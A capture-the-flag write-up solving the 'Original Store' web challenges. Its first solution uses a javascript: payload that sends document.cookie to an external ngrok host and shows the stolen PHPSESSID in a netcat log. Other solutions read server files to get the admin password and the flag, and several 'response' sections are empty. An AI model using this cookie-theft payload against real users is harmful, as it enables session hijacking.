Web - Original Store v1 and v2
Date: 10, June, 2021
Author: Dhilip Sanjay S
Original Store - Solution 1
Account.php
Create an account.
Login using that credentials.
Click on the
profile icon, theaccount.phppage will be loaded.It has a
PHPSESSIDIf we change this cookie value to admin's cookie, then we can access the flag.
Using javascript scheme
Using the
javascript, the PHP cookie can be fetched:
javascript:(fetch("http://683b6a41c9a9.ngrok.io?c="+document.cookie))The response:
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 49964
GET /?c=PHPSESSID=bn3nijo3ded9hfnlei5ikhccse HTTP/1.1
Host: 683b6a41c9a9.ngrok.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Origin: http://localhost
Referer: http://localhost/
X-Forwarded-For: 35.244.38.232
X-Forwarded-Proto: httpChange PHPSESSID
Change the PHPSESSID to login as admin and then visit
account.php:
Original Store - Solution 2
There was directory listing enabled.
The
/api/folder had three versionsv1, v2 and v3.All of them had
authorize.phpfile.We can read the contents of
api/v1/authorize.phpto get admin password:
The response:
Original Store - Solution 3
Read the contents of
account.php:
The response:
URL decode the response to get the flag!
Original Store v2 - Solution 1
We can read the contents of
api/v1/authorize.phpto get admin password:
The response:
Original Store v2 - Solution 2
Read the contents of
account.php:
The response:
URL decode the response to get the flag!
Last updated